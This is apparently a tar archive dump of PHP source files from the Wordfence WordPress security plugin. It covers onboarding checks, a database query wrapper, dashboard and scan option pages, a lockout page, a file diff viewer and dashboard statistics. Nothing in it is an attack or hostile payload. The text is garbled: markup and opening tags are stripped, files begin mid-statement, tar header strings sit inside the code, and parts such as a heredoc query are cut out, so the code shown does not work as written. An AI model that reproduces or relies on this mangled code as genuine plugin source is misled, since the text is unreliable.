!wfConfig::get('onboardingAttempt2') && self::needsApiKey(); } public static function shouldShowAttempt3($dismissable = false) { if (self::needsApiKey()) { if (!$dismissable) return true; $delayedAt = (int) wfConfig::get('onboardingDelayedAt', 0); if (time() - $delayedAt > 43200 /*12 hours in seconds*/) return true; } return false; } /** * Whether or not to pop up attempt 3 at page load or wait for user interaction. * * @return bool */ public static function shouldShowAttempt3Automatically() { static $_shouldShowAttempt3Automatically = null; if ($_shouldShowAttempt3Automatically !== null) { //We cache this so the answer remains the same for the whole request return $_shouldShowAttempt3Automatically; } if (!self::shouldShowAttempt3()) { $_shouldShowAttempt3Automatically = false; return false; } return $_shouldShowAttempt3Automatically = self::shouldShowAttempt3(); } public static function willShowNewTour($page) { $key = 'needsNewTour_' . $page; return wfConfig::get($key); } public static function shouldShowNewTour($page) { $key = 'needsNewTour_' . $page; return (!self::shouldShowAttempt3Automatically() && !wfConfig::get('touppPromptNeeded') && wfConfig::get($key)); } public static function willShowUpgradeTour($page) { $key = 'needsUpgradeTour_' . $page; return wfConfig::get($key); } public static function shouldShowUpgradeTour($page) { $key = 'needsUpgradeTour_' . $page; return (!self::shouldShowAttempt3Automatically() && !wfConfig::get('touppPromptNeeded') && wfConfig::get($key)); } public static function shouldShowAnyAttempt() { return self::shouldShowAttempt1() || self::shouldShowAttempt2() || self::shouldShowAttempt3(); } }wordfenceConstants.php000064400000006220147206764270011145 0ustar00url = trailingslashit($url); } public function getUrl($relative) { return $this->url . $relative; } public function retrievePayload($token, &$expired) { $url = $this->getUrl("api/ephemeral-payload/$token"); $response = wp_remote_get($url); $status = wp_remote_retrieve_response_code($response); if (!is_wp_error($response) && $status === 200) { return wp_remote_retrieve_body($response); } switch ($status) { case wfWebsiteEphemeralPayloadExpiredException::STATUS: throw new wfWebsiteEphemeralPayloadExpiredException(); case wfWebsiteEphemeralPayloadRateLimitedException::STATUS: throw new wfWebsiteEphemeralPayloadRateLimitedException(); default: throw new wfWebsiteEphemeralPayloadRetrievalException('Failed to retrieve ephemeral payload', (int) $status); } } public static function getInstance() { if (self::$INSTANCE === null) self::$INSTANCE = new self(WORDFENCE_WWW_BASE_URL); return self::$INSTANCE; } public static function url($relative) { return self::getInstance()->getUrl($relative); } }wfDB.php000064400000026764147206764270006135 0ustar00base_prefix; } /** * Returns the table with the site (single site installations) or network (multisite) prefix added. * * @param string $table * @param bool $applyCaseConversion Whether or not to convert the table case to what is actually in use. * @return string */ public static function networkTable($table, $applyCaseConversion = true) { if (wfSchema::usingLowercase() && $applyCaseConversion) { $table = strtolower($table); } return self::networkPrefix() . $table; } /** * Returns the table prefix for the given blog ID. On single site installations, this will be equivalent to wfDB::networkPrefix(). * * @param int $blogID * @return string */ public static function blogPrefix($blogID) { global $wpdb; return $wpdb->get_blog_prefix($blogID); } /** * Returns the table with the site (single site installations) or blog-specific (multisite) prefix added. * * @param string $table * @param bool $applyCaseConversion Whether or not to convert the table case to what is actually in use. * @return string */ public static function blogTable($table, $blogID, $applyCaseConversion = true) { if (wfSchema::usingLowercase() && $applyCaseConversion) { $table = strtolower($table); } return self::blogPrefix($blogID) . $table; } /** * Converts the given value into a MySQL hex string. This is needed because WordPress will run an unnecessary `SHOW * FULL COLUMNS` on every hit where we use non-ASCII data (e.g., packed binary-encoded IP addresses) in queries. * * @param string $binary * @return string */ public static function binaryValueToSQLHex($binary) { return sprintf("X'%s'", bin2hex($binary)); } public function querySingle(){ global $wpdb; if(func_num_args() > 1){ $args = func_get_args(); return $wpdb->get_var(call_user_func_array(array($wpdb, 'prepare'), $args)); } else { return $wpdb->get_var(func_get_arg(0)); } } public function querySingleRec(){ //queryInSprintfFormat, arg1, arg2, ... :: Returns a single assoc-array or null if nothing found. global $wpdb; if(func_num_args() > 1){ $args = func_get_args(); return $wpdb->get_row(call_user_func_array(array($wpdb, 'prepare'), $args), ARRAY_A); } else { return $wpdb->get_row(func_get_arg(0), ARRAY_A); } } public function queryWrite(){ global $wpdb; if(func_num_args() > 1){ $args = func_get_args(); return $wpdb->query(call_user_func_array(array($wpdb, 'prepare'), $args)); } else { return $wpdb->query(func_get_arg(0)); } } public function queryWriteArray($query, $array) { global $wpdb; return $wpdb->query($wpdb->prepare($query, $array)); } public function flush(){ //Clear cache global $wpdb; $wpdb->flush(); } public function querySelect(){ //sprintfString, arguments :: always returns array() and will be empty if no results. global $wpdb; if(func_num_args() > 1){ $args = func_get_args(); return $wpdb->get_results(call_user_func_array(array($wpdb, 'prepare'), $args), ARRAY_A); } else { return $wpdb->get_results(func_get_arg(0), ARRAY_A); } } public function queryWriteIgnoreError(){ //sprintfString, arguments global $wpdb; $oldSuppress = $wpdb->suppress_errors(true); $args = func_get_args(); call_user_func_array(array($this, 'queryWrite'), $args); $wpdb->suppress_errors($oldSuppress); } public function columnExists($table, $col){ $table = wfDB::networkTable($table); $q = $this->querySelect("desc $table"); foreach($q as $row){ if($row['Field'] == $col){ return true; } } return false; } public function dropColumn($table, $col){ $table = wfDB::networkTable($table); $this->queryWrite("alter table $table drop column $col"); } public function createKeyIfNotExists($table, $col, $keyName){ $table = wfDB::networkTable($table); $exists = $this->querySingle(<<querySelect("show keys from $table"); foreach($q as $row){ if($row['Key_name'] == $keyName){ $keyFound = true; } } } if(! $keyFound){ $this->queryWrite("alter table $table add KEY $keyName($col)"); } } public function getMaxAllowedPacketBytes(){ $rec = $this->querySingleRec("show variables like 'max_allowed_packet'"); return intval($rec['Value']); } public function getMaxLongDataSizeBytes() { $rec = $this->querySingleRec("show variables like 'max_long_data_size'"); return $rec['Value']; } public function truncate($table){ //Ensures everything is deleted if user is using MySQL >= 5.1.16 and does not have "drop" privileges $this->queryWrite("truncate table $table"); $this->queryWrite("delete from $table"); } public function getLastError(){ global $wpdb; return $wpdb->last_error; } public function realEscape($str){ global $wpdb; return $wpdb->_real_escape($str); } public function insert($table, $columns, $rows, $updateOnDuplicate) { global $wpdb; $rowCount = count($rows); if ($rowCount === 0) return; $columnClause = implode(',', array_keys($columns)); $valuesClause = ltrim(str_repeat(',(' . implode(',', $columns) . ')', $rowCount), ','); if ($updateOnDuplicate) { $duplicateClause = ' ON DUPLICATE KEY UPDATE ' . implode(',', array_map(function($column) { return "{$column} = VALUES({$column})"; }, $updateOnDuplicate)); } else { $duplicateClause = null; } $parameters = []; foreach ($rows as $row) { foreach ($row as $value) { $parameters[] = $value; } } $query = $wpdb->prepare("INSERT INTO {$table} ({$columnClause}) VALUES {$valuesClause}{$duplicateClause}", $parameters); $result = $wpdb->query($query); if ($result === false) throw new RuntimeException("Insert query failed: {$query}"); } private static function getBindingType($value, $override = null) { if ($override !== null) return $override; if (is_int($value)) { return '%d'; } else { return '%s'; } } private static function buildWhereClause($conditions, $bindingOverrides, &$parameters) { $whereExpressions = []; foreach ($conditions as $column => $value) { $override = array_key_exists($column, $bindingOverrides) ? $bindingOverrides[$column] : null; if ($override === null) { $getBinding = [self::class, 'getBindingType']; } else { $getBinding = function($value) use ($override) { return $override; }; } if (is_array($value)) { $whereExpressions[] = "{$column} IN (" . implode(',', array_map($getBinding, $value)) . ')'; $parameters = array_merge($parameters, $value); } else { $whereExpressions[] = "{$column} = " . $getBinding($value); $parameters[] = $value; } } return implode(' AND ', $whereExpressions); } public function update($table, $set, $conditions, $bindingOverrides = []) { global $wpdb; $setExpressions = []; $parameters = []; foreach ($set as $column => $value) { if (is_array($value)) { $parameters[] = $value[1]; $value = $value[0]; } $setExpressions[] = "{$column} = {$value}"; } $whereClause = self::buildWhereClause($conditions, $bindingOverrides, $parameters); $setClause = implode(',', $setExpressions); $query = $wpdb->prepare("UPDATE {$table} SET {$setClause} WHERE {$whereClause}", $parameters); $result = $wpdb->query($query); if ($result === false) throw new RuntimeException("UPDATE query failed: {$query}"); } public function select($table, $columns, $conditions, $bindingOverrides = [], $limit = 500) { global $wpdb; $parameters = []; $selectClause = implode(',', $columns); $whereClause = Self::buildWhereClause($conditions, $bindingOverrides, $parameters); $limitClause = $limit === null ? '' : " LIMIT {$limit}"; $query = $wpdb->prepare("SELECT {$selectClause} FROM {$table} WHERE {$whereClause}{$limitClause}", $parameters); if (count($columns) == 1) { $result = $wpdb->get_col($query); } else { $result = $wpdb->get_results($query, ARRAY_N); } if (!is_array($result)) throw new RuntimeException("SELECT query failed: {$query}"); return $result; } public function selectAll($table, $columns, $conditions, $bindingOverrides = []) { return $this->select($table, $columns, $conditions, $bindingOverrides, null); } } abstract class wfModel { private $data; private $db; private $dirty = false; /** * Column name of the primary key field. * * @return string */ abstract public function getIDColumn(); /** * Table name. * * @return mixed */ abstract public function getTable(); /** * Checks if this is a valid column in the table before setting data on the model. * * @param string $column * @return boolean */ abstract public function hasColumn($column); /** * wfModel constructor. * @param array|int|string $data */ public function __construct($data = array()) { if (is_array($data) || is_object($data)) { $this->setData($data); } else if (is_numeric($data)) { $this->fetchByID($data); } } public function fetchByID($id) { $id = absint($id); $data = $this->getDB()->get_row($this->getDB()->prepare('SELECT * FROM ' . $this->getTable() . ' WHERE ' . $this->getIDColumn() . ' = %d', $id)); if ($data) { $this->setData($data); return true; } return false; } /** * @return bool */ public function save() { if (!$this->dirty) { return false; } $this->dirty = ($this->getPrimaryKey() ? $this->update() : $this->insert()) === false; return !$this->dirty; } /** * @return false|int */ public function insert() { $data = $this->getData(); unset($data[$this->getPrimaryKey()]); $rowsAffected = $this->getDB()->insert($this->getTable(), $data); $this->setPrimaryKey($this->getDB()->insert_id); return $rowsAffected; } /** * @return false|int */ public function update() { return $this->getDB()->update($this->getTable(), $this->getData(), array( $this->getIDColumn() => $this->getPrimaryKey(), )); } /** * @param $name string * @return mixed */ public function __get($name) { if (!$this->hasColumn($name)) { return null; } return array_key_exists($name, $this->data) ? $this->data[$name] : null; } /** * @param $name string * @param $value mixed */ public function __set($name, $value) { if (!$this->hasColumn($name)) { return; } $this->data[$name] = $value; $this->dirty = true; } /** * @return array */ public function getData() { return $this->data; } /** * @param array $data * @param bool $flagDirty */ public function setData($data, $flagDirty = true) { $this->data = array(); foreach ($data as $column => $value) { if ($this->hasColumn($column)) { $this->data[$column] = $value; $this->dirty = (bool) $flagDirty; } } } /** * @return wpdb */ public function getDB() { if ($this->db === null) { global $wpdb; $this->db = $wpdb; } return $this->db; } /** * @param wpdb $db */ public function setDB($db) { $this->db = $db; } /** * @return int */ public function getPrimaryKey() { return $this->{$this->getIDColumn()}; } /** * @param int $value */ public function setPrimaryKey($value) { $this->{$this->getIDColumn()} = $value; } }wfHelperString.php000064400000004204147206764270010237 0ustar00 $colLengths[$col]) { $colLengths[$col] = $len; } } } } $totalWidth = array_sum($colLengths) + (count($colLengths) * 3) + 1; $hr = str_repeat('-', $totalWidth); $output = $hr . "\n"; for ($row = 0; $row < count($table); $row++) { if (is_string($table[$row])) { //Special handling to show a sub-header/divider if ($row > 1) { $output .= $hr . "\n"; } $output .= '| ' . str_pad($table[$row], $totalWidth - 4, ' ', STR_PAD_BOTH) . ' ' . "|\n"; $output .= $hr . "\n"; continue; } $colHeight = 0; for ($col = 0; $col < count($table[$row]); $col++) { $height = substr_count($table[$row][$col], "\n"); if ($height > $colHeight) { $colHeight = $height; } } for ($colRow = 0; $colRow <= $colHeight; $colRow++) { for ($col = 0; $col < count($table[$row]); $col++) { $colRows = explode("\n", $table[$row][$col]); $output .= '| ' . str_pad(isset($colRows[$colRow]) ? $colRows[$colRow] : '', $colLengths[$col], ' ', STR_PAD_RIGHT) . ' '; } $output .= "|\n"; } if ($row === 0) { $output .= $hr . "\n"; } } return trim($output . (count($table) > 1 ? $hr : '')); } }menu_dashboard_options.php000064400000036331147206764270012030 0ustar00
$dashboardURL, 'backLabelHTML' => wp_kses(__('Back to Dashboard', 'wordfence'), array('span'=>array('class'=>array()))), 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_GLOBAL, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default global settings? This will undo any custom changes you have made to the options on this page. Your configured license key and alert emails will not be changed.', 'wordfence'), ))->render(); ?>
render(); echo wfView::create('gdpr/banner')->render(); } ?>
__('Wordfence Global Options', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DASHBOARD_OPTIONS), 'helpLabelHTML' => wp_kses(__('Learn more about Global Options', 'wordfence'), array('span'=>array('class'=>array()))), 'showIcon' => true, ))->render(); ?>
    • 'waf-coverage', 'percentage' => $firewall->overallStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Firewall', 'wordfence'), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('WAF Currently in Learning Mode', 'wordfence') : __('Protection from known and emerging threats', 'wordfence')), 'link' => wfPage::pageURL(wfPage::PAGE_FIREWALL_OPTIONS, wfPage::PAGE_DASHBOARD_OPTIONS), 'linkLabel' => __('Manage Firewall', 'wordfence'), 'statusTitle' => __('Firewall Status', 'wordfence'), 'statusList' => $firewall->statusList(), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => __('https://www.wordfence.com/help/dashboard/#dashboard-status', 'wordfence'), ))->render(); ?>
    • 'wf-scanner-type', 'percentage' => $scanner->scanTypeStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Scan', 'wordfence'), 'subtitle' => __('Detection of security issues', 'wordfence'), 'link' => wfPage::pageURL(wfPage::PAGE_SCAN_OPTIONS, wfPage::PAGE_DASHBOARD_OPTIONS), 'linkLabel' => __('Manage Scan', 'wordfence'), 'statusTitle' => __('Scan Status', 'wordfence'), 'statusList' => $scanner->scanTypeStatusList(), 'helpLink' => __('https://www.wordfence.com/help/dashboard/#dashboard-status', 'wordfence'), ))->render(); ?>
    • 'wf-premium-alert', 'title' => __('Premium License Conflict', 'wordfence'), 'subtitle' => __('License already in use', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1manageConflict/manage-wordfence-api-keys/', 'linkLabel' => __('Reset License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => __('Premium Protection Disabled', 'wordfence'), 'subtitle' => __('License is expired', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1renewExpired/manage-wordfence-api-keys/', 'linkLabel' => __('Renew License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => __('Premium Protection Disabled', 'wordfence'), 'subtitleHtml' => wp_kses(__('The license you were using has been removed from your account. Please reach out to billing@wordfence.com or create a Premium support case at https://support.wordfence.com/support/tickets (opens in new tab) for more information. Our staff is happy to help.', 'wordfence'), array('a'=>array('href'=>array(), 'target'=>array()), 'span'=>array('class'=>array()))), 'link' => null, 'linkLabel' => null ))->render(); ?>

         ()

      'wf-premium-alert', 'title' => __('Premium License Expiring', 'wordfence'), 'subtitle' => __('Auto-renew is disabled', 'wordfence'), 'link' => 'https://www.wordfence.com/gnl1renewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Renew License', 'wordfence'), 'linkNewWindow' => true, ))->render(); ?> 'wf-premium-alert', 'title' => $title, 'subtitle' => sprintf(__('License renews %s', 'wordfence'), $days), 'link' => 'https://www.wordfence.com/gnl1renewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Update Payment Method', 'wordfence'), 'linkNewWindow' => true, ))->render(); } else { $days = floor(((int) wfConfig::get('premiumNextRenew') - time()) / 86400); if ($days == 0) { $days = __('today', 'wordfence'); } else if ($days == 1) { $days = __('in 1 day', 'wordfence'); } else { $days = sprintf(__('in %d days', 'wordfence'), $days); } echo wfView::create('dashboard/status-renewing', array( 'id' => 'wf-premium-alert', 'title' => __('Premium License Expiring', 'wordfence'), 'subtitle' => sprintf(__('License renews %s', 'wordfence'), $days), 'link' => 'https://www.wordfence.com/gnl1reviewExpiring/manage-wordfence-api-keys/', 'linkLabel' => __('Review Payment Method', 'wordfence'), 'linkNewWindow' => true, ))->render(); } ?>
      getPrefixedTypeLabel())); ?>
      isBelowResponse()): ?>

      isBelowCare()): ?>

'global-options-license', ))->render(); echo wfView::create('dashboard/options-group-view-customization', array( 'stateKey' => 'global-options-view-customization', ))->render(); echo wfView::create('dashboard/options-group-general', array( 'stateKey' => 'global-options-general', ))->render(); echo wfView::create('dashboard/options-group-dashboard', array( 'stateKey' => 'global-options-dashboard', ))->render(); echo wfView::create('dashboard/options-group-alert', array( 'stateKey' => 'global-options-alert', ))->render(); echo wfView::create('dashboard/options-group-email-summary', array( 'stateKey' => 'global-options-email-summary', ))->render(); ?>
menu_scanner_options.php000064400000020647147206764270011535 0ustar00scanOptions(); $backPage = new wfPage(wfPage::PAGE_SCAN); if (isset($_GET['source']) && wfPage::isValidPage($_GET['source'])) { $backPage = new wfPage($_GET['source']); } ?>
$backPage->url(), 'backLabelHTML' => wp_kses(sprintf(__('Back to %s', 'wordfence'), $backPage->label()), array('span'=>array('class'=>array()))), 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_SCANNER, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default Scan settings? This will undo any custom changes you have made to the options on this page.', 'wordfence'), ))->render(); ?>
render(); echo wfView::create('gdpr/banner')->render(); } ?>
__('Scan Options and Scheduling', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN), 'helpLabelHTML' => wp_kses(__('Learn more about Scanning', 'wordfence'), array('span'=>array('classes'=>array()))), 'showIcon' => true, ))->render(); ?>
  • 'wf-scanner-type', 'percentage' => $scanner->scanTypeStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Scan Type: ', 'wordfence') . wfScanner::displayScanType($scanner->scanType()), 'subtitle' => wfScanner::displayScanTypeDetail($scanner->scanType()), 'link' => $optionsURL, 'linkLabel' => null, 'statusTitle' => __('Scan Status', 'wordfence'), 'statusList' => $scanner->scanTypeStatusList(), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN_STATUS_OVERALL), ))->render(); ?>
  • 'wf-scanner-malware-type', 'percentage' => $scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? 1.0 : 0.7, 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Malware Signatures: ', 'wordfence') . ($scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? __('Premium', 'wordfence') : __('Community', 'wordfence')), 'subtitle' => ($scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? __('Signatures updated in real-time', 'wordfence') : __('Signature updates delayed by 30 days', 'wordfence')), 'link' => 'https://www.wordfence.com/gnl1scanUpgrade/wordfence-signup/', 'linkLabel' => null, 'statusTitle' => __('Malware Signatures Status', 'wordfence'), 'statusList' => $scanner->signatureMode() == wfScanner::SIGNATURE_MODE_PREMIUM ? array() : array(array( 'percentage' => 0.30, 'title' => __('Enable Premium Scan Signatures.', 'wordfence'), )), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN_STATUS_MALWARE), ))->render(); ?>
  • 'wf-scanner-reputation', 'percentage' => $scanner->reputationStatus(), 'activeColor' => (!$scanner->isEnabled() ? '#ececec' : null /* automatic */), 'title' => __('Reputation Checks', 'wordfence'), 'subtitle' => __('Check spam & spamvertising blocklists', 'wordfence'), 'link' => $optionsURL . '#wf-scanner-options-general', 'linkLabel' => null, 'statusTitle' => __('Reputation Check Status', 'wordfence'), 'statusList' => $scanner->reputationStatusList(), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_SCAN_STATUS_REPUTATION), ))->render(); ?>
$scanner, 'stateKey' => 'wf-scanner-options-schedule', ))->render(); echo wfView::create('scanner/options-group-basic', array( 'scanner' => $scanner, 'stateKey' => 'wf-scanner-options-basic', 'collapseable' => false, ))->render(); echo wfView::create('scanner/options-group-general', array( 'scanner' => $scanner, 'stateKey' => 'wf-scanner-options-general', ))->render(); echo wfView::create('scanner/options-group-performance', array( 'scanner' => $scanner, 'stateKey' => 'wf-scanner-options-performance', ))->render(); echo wfView::create('scanner/options-group-advanced', array( 'scanner' => $scanner, 'stateKey' => 'wf-scanner-options-custom', ))->render(); ?>
wfIpLocation.php000064400000003350147206764270007673 0ustar00record = is_array($record) ? $record : array(); } public function getCountryRecord() { if (array_key_exists('country', $this->record)) { $country = $this->record['country']; if (is_array($country)) return $country; } return array(); } public function getCountryField($field) { $country = $this->getCountryRecord(); if (array_key_exists($field, $country)) return $country[$field]; return null; } public function getCountryCode() { $isoCode = $this->getCountryField('iso_code'); if (is_string($isoCode) && strlen($isoCode) === 2) return $isoCode; return null; } private function findBestLanguageMatch($options, $preferredLanguage = self::LANGUAGE_DEFAULT) { $languages = array(); if (is_string($preferredLanguage)) $languages[] = $preferredLanguage; if (strpos($preferredLanguage, self::LANGUAGE_SEPARATOR) !== false) { $components = explode(self::LANGUAGE_SEPARATOR, $preferredLanguage); $baseLanguage = $components[0]; if ($baseLanguage !== self::LANGUAGE_DEFAULT) $languages[] = $baseLanguage; } if ($preferredLanguage !== self::LANGUAGE_DEFAULT) $languages[] = self::LANGUAGE_DEFAULT; foreach ($languages as $language) { if (array_key_exists($language, $options)) return $options[$language]; } if (!empty($options)) return reset($options); return null; } public function getCountryName($preferredLanguage = self::LANGUAGE_DEFAULT) { $names = $this->getCountryField('names'); if (is_array($names) && !empty($names)) return $this->findBestLanguageMatch($names, $preferredLanguage); return null; } }wfScanFileLink.php000064400000000623147206764270010134 0ustar00linkPath = $linkPath; } public function getLinkPath() { return $this->linkPath; } public function getDisplayPath() { return $this->getLinkPath(); } }menu_wordfence_central.php000064400000023241147206764270012006 0ustar00 __('Testing initial communication with Wordfence Central.', 'wordfence'), 2 => __('Passing public key to Wordfence Central.', 'wordfence'), 3 => __('Testing public key authentication with Wordfence Central.', 'wordfence'), 4 => __('Testing that Wordfence Central is able to communicate with this site.', 'wordfence'), 5 => __('Retrieving access token using authorization grant.', 'wordfence'), 6 => __('Redirecting back to Wordfence Central.', 'wordfence'), ); $connected = wfCentral::isConnected(); $partialConnection = wfCentral::isPartialConnection(); ?> render(); echo wfView::create('gdpr/banner')->render(); } if (function_exists('network_admin_url') && is_multisite()) { $wordfenceURL = network_admin_url('admin.php?page=Wordfence'); } else { $wordfenceURL = admin_url('admin.php?page=Wordfence'); } ?>
__('Wordfence Central', 'wordfence'), 'showIcon' => true, ))->render(); ?>
  • 50, ))->render(); ?>

wfUnlockMsg.php000064400000002213147206764270007531 0ustar00

  
diffResult.php000064400000005465147206764270007415 0ustar00 ?ver=' type='text/css' media='all' />

"; } else if($cType == 'theme'){ echo esc_html__('Theme File', 'wordfence') . ""; } else if($cType == 'plugin'){ echo esc_html__('Plugin File', 'wordfence') . ""; } else { echo esc_html__('Unknown Type', 'wordfence') . ""; } ?>
" . esc_html__('Theme Name:', 'wordfence') . "" . wp_kses($_GET['cName'], array()) . "
" . esc_html__('Theme Version:', 'wordfence') . "" . wp_kses($_GET['cVersion'], array()) . "
" . esc_html__('Plugin Name:', 'wordfence') . "" . wp_kses($_GET['cName'], array()) . "
" . esc_html__('Plugin Version:', 'wordfence') . "" . wp_kses($_GET['cVersion'], array()) . "
" . esc_html__('There are no differences between the original file and the file in the repository.', 'wordfence'); } ?>
Wordfence.com for help, security updates and more.', 'wordfence'), date_i18n('Y', WORDFENCE_EPOCH), date_i18n('Y')), array('a'=>array('href'=>array()))) ?>
wf503.php000064400000023204147206764270006141 0ustar00 <?php esc_html_e('Your access to this site has been limited', 'wordfence'); ?>



:
:
\s*/i', '', $contents); $contents = preg_replace('/^\s*/i', '', $contents); $contents = preg_replace('/

Documentation (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_LOCKED_OUT)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array()), 'span'=>array('class'=>array()))); ?>

array('href'=>array(), 'target'=>array(), 'rel'=>array()))); ?>.
.

wfDashboard.php000064400000020317147206764270007523 0ustar00markAsRead(); } } unset($data['revoked']); } wfConfig::set_ser('dashboardData', $data, false, wfConfig::DONT_AUTOLOAD); } public function __construct() { // Scan values $lastScanCompleted = wfConfig::get('lastScanCompleted'); if ($lastScanCompleted === false || empty($lastScanCompleted)) { $this->scanLastStatus = self::SCAN_NEVER_RAN; } else if ($lastScanCompleted == 'ok') { $this->scanLastStatus = self::SCAN_SUCCESS; $i = new wfIssues(); $this->scanLastCompletion = (int) wfScanner::shared()->lastScanTime(); $issueCount = $i->getIssueCount(); if ($issueCount) { $this->scanLastStatus = self::SCAN_WARNINGS; $this->scanLastStatusMessage = "{$issueCount} issue" . ($issueCount == 1 ? ' found' : 's found'); } } else { $this->scanLastStatus = self::SCAN_FAILED; $n = wfNotification::getNotificationForCategory('wfplugin_scan', false); if ($n !== null) { $this->scanLastStatusMessage = $n->html; } else { $this->scanLastStatusMessage = esc_html(substr($lastScanCompleted, 0, 100) . (strlen($lastScanCompleted) > 100 ? '...' : '')); } } // Notifications $this->notifications = wfNotification::notifications(); // Features $countryBlocking = self::FEATURE_PREMIUM; if (wfConfig::get('isPaid')) { $countryBlocking = self::FEATURE_DISABLED; $countryList = wfConfig::get('cbl_countries'); if (!empty($countryList) && (wfConfig::get('cbl_loggedInBlocked', false) || wfConfig::get('cbl_loginFormBlocked', false) || wfConfig::get('cbl_restOfSiteBlocked', false))) { $countryBlocking = self::FEATURE_ENABLED; } } $this->features = array(); //Deprecated $data = wfConfig::get_ser('dashboardData'); $lastChecked = wfConfig::get('lastDashboardCheck', 0); if ((!is_array($data) || (isset($data['generated']) && $data['generated'] + 3600 < time())) && $lastChecked + 3600 < time()) { $wp_version = wfUtils::getWPVersion(); $apiKey = wfConfig::get('apiKey'); $api = new wfAPI($apiKey, $wp_version); wfConfig::set('lastDashboardCheck', time()); try { $json = $api->getStaticURL('/stats.json'); $data = @json_decode($json, true); if ($json && is_array($data)) { self::processDashboardResponse($data); } } catch (Exception $e) { //Do nothing } } // Last Generated if (is_array($data) && isset($data['generated'])) { $this->lastGenerated = $data['generated']; } // TDF if (is_array($data) && isset($data['tdf']) && isset($data['tdf']['community'])) { $this->tdfCommunity = (int) $data['tdf']['community']; $this->tdfPremium = (int) $data['tdf']['premium']; } // Top IPs Blocked $activityReport = new wfActivityReport(); $this->ips24h = (array) $activityReport->getTopIPsBlocked(100, 1); foreach ($this->ips24h as &$r24h) { $r24h = (array) $r24h; if (empty($r24h['countryName'])) { $r24h['countryName'] = 'Unknown'; } } $this->ips7d = (array) $activityReport->getTopIPsBlocked(100, 7); foreach ($this->ips7d as &$r7d) { $r7d = (array) $r7d; if (empty($r7d['countryName'])) { $r7d['countryName'] = 'Unknown'; } } $this->ips30d = (array) $activityReport->getTopIPsBlocked(100, 30); foreach ($this->ips30d as &$r30d) { $r30d = (array) $r30d; if (empty($r30d['countryName'])) { $r30d['countryName'] = 'Unknown'; } } // Recent Logins $logins = wordfence::getLog()->getHits('logins', 'loginLogout', 0, 200); $this->loginsSuccess = array(); $this->loginsFail = array(); foreach ($logins as $l) { if ($l['fail']) { $this->loginsFail[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']); } else if ($l['action'] != 'logout') { $this->loginsSuccess[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']); } } // Local Attack Data $this->localBlocks = array(); $this->localBlocks[] = array('title' => __('Complex', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_COMPLEX, '24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_COMPLEX), '7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_COMPLEX), '30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_COMPLEX), ); $this->localBlocks[] = array('title' => __('Brute Force', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BRUTE_FORCE, '24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE), '7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE), '30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_BRUTE_FORCE), ); $this->localBlocks[] = array('title' => __('Blocklist', 'wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BLACKLIST, '24h' => (int) $activityReport->getBlockedCount(1, wfActivityReport::BLOCK_TYPE_BLACKLIST), '7d' => (int) $activityReport->getBlockedCount(7, wfActivityReport::BLOCK_TYPE_BLACKLIST), '30d' => (int) $activityReport->getBlockedCount(30, wfActivityReport::BLOCK_TYPE_BLACKLIST), ); // Network Attack Data if (is_array($data) && isset($data['attackdata']) && isset($data['attackdata']['24h'])) { $this->networkBlock24h = $data['attackdata']['24h']; $this->networkBlock7d = $data['attackdata']['7d']; $this->networkBlock30d = $data['attackdata']['30d']; } // Blocked Countries $this->countriesLocal = (array) $activityReport->getTopCountriesBlocked(10, 7); foreach ($this->countriesLocal as &$rLocal) { $rLocal = (array) $rLocal; if (empty($rLocal['countryName'])) { $rLocal['countryName'] = 'Unknown'; } } if (is_array($data) && isset($data['countries']) && isset($data['countries']['7d'])) { $networkCountries = array(); foreach ($data['countries']['7d'] as $rNetwork) { $countryCode = $rNetwork['cd']; $countryName = $activityReport->getCountryNameByCode($countryCode); if (empty($countryName)) { $countryName = 'Unknown'; } $totalBlockCount = $rNetwork['ct']; $networkCountries[] = array('countryCode' => $countryCode, 'countryName' => $countryName, 'totalBlockCount' => $totalBlockCount); } $this->countriesNetwork = 